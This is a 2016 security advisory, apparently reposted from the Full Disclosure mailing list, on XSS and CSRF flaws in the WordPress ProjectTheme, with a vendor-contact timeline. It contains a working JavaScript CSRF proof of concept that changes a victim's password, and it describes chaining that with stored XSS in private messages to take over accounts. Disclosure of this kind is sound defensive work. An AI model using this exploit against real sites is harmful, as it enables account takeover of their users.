HackDig : Dig high-quality web security articles for hacker

LSE Leading Security Experts GmbH - LSE-2016-01-01 - Wordpress ProjectTheme - Multiple Vulnerabilities

2016-03-09 11:20

=== LSE Leading Security Experts GmbH - Security Advisory 2016-01-01 ===

Wordpress ProjectTheme Multiple Vulnerabilities

- ------------------------------------------------------------

Affected Version


Project Theme:

Problem Overview


Technical Risk: high

Likelihood of Exploitation: low

Vendor: http://sitemile.com/

Credits: LSE Leading Security Experts GmbH employee Tim Herres

Advisory: https://www.lsexperts.de/advisories/lse-2016-01-01.txt

Advisory Status: public

CVE-Number: [NA yet]

Problem Impact


During an internal code review multiple vulnerabilities were identified.

The whole application misses input validation and output encoding. This means user supplied input is inserted in a
unsafe way.

This could allow a remote attacker to easily compromise user accounts.


An authenticated user sends a private message to another user.

When the attacker injects JavaScript Code, it will automatically call the CSRF Proc below.

The only necessary information is the user id, which can be identified easily, see below.

If the other user opens the private message menu, the JavaScript code gets executed and the Password will be changed.
It is not necessary to open the message.

Now the attacker can access the account using the new password.

Problem Description


The following findings are only examples, the whole application should be reviewed for similar vulnerabilities.

#Stored Cross Site Scripting:

Creating a new project http://[URL]/post-new/? in the project title and description field.

Insert JavaScript code inside the project message board:

POST /?get_message_board=34 HTTP/1.1


Also in the private message in the subject or in the message field. The payload in the Subject will be executed, if the
user opens the private message list.

#Reflected Cross Site Scripting:


# No protection against Cross Site Request Forgery Attacks

There is no Cross Site Request Forgery protection.

Also the user password can be changed without knowledge of the current password.

A possible CSRF attack form, which will change the users password to "test":




function submitRequest()


var xhr = new XMLHttpRequest();

xhr.open("POST", "http://[ip]/my-account/personal-information/";, true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarywXBZovhmb3VnFJdz");

xhr.setRequestHeader("Accept-Language", "de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4");

xhr.withCredentials = true;

var body = "------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="project_location_cat"rn" +

"rn" +

"rn" +

"------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="user_city"rn" +

"rn" +

"rn" +

"------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="user_description"rn" +

"rn" +

"rn" +

"------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="password"rn" +

"rn" +

"testrn" +

"------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="reppassword"rn" +

"rn" +

"testrn" +

"------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="avatar"; filename=""rn" +

"Content-Type: application/octet-streamrn" +

"rn" +

"rn" +

"------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="save-info"rn" +

"rn" +

"Savern" +

"------WebKitFormBoundarywXBZovhmb3VnFJdzrn" +

"Content-Disposition: form-data; name="user_id"rn" +

"rn" +

"2rn" +


var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));



<form action="#">

<input type="button" value="Submit request" onclick="submitRequest();" />




#Getting user id

In a published project there is a button contact project owner with the corresponding UID --> url:

Also a mouseover in the user profile (Feedback) will reveal the userid.

Temporary Workaround and Fix


No fix



2015-12-20 Problem discovery during code review

2016-01-12 Vendor contacted

2016-01-12 Vendor response (check in progress)

2016-01-26 Vendor contacted (asked for status update)

2016-01-26 Vendor reponse (check in progress)

2016-02-05 Vendor contacted (advisory will be released in 30 days)

2016-03-07 Vendor contacted (asked for last status update)

2016-03-07 Vendor response (vulnerabilities should be fixed in the last update on 1st march 2016, not verified
by the LSE)

2016-03-08 Advisory release

Description: OpenPGP digital signature

Sent through the Full Disclosure mailing list
Web Archives & RSS: http://seclists.org/fulldisclosure/

Source: 71/raM/6102/erusolcsidlluf/gro.stsilces

Read:2453 | Comments:0 | Tags:No Tag

“LSE Leading Security Experts GmbH - LSE-2016-01-01 - Wordpress ProjectTheme - Multiple Vulnerabilities”0 Comments

Submit A Comment



Blog :

Verification Code:


Share high-quality web security related articles with you:)


Tag Cloud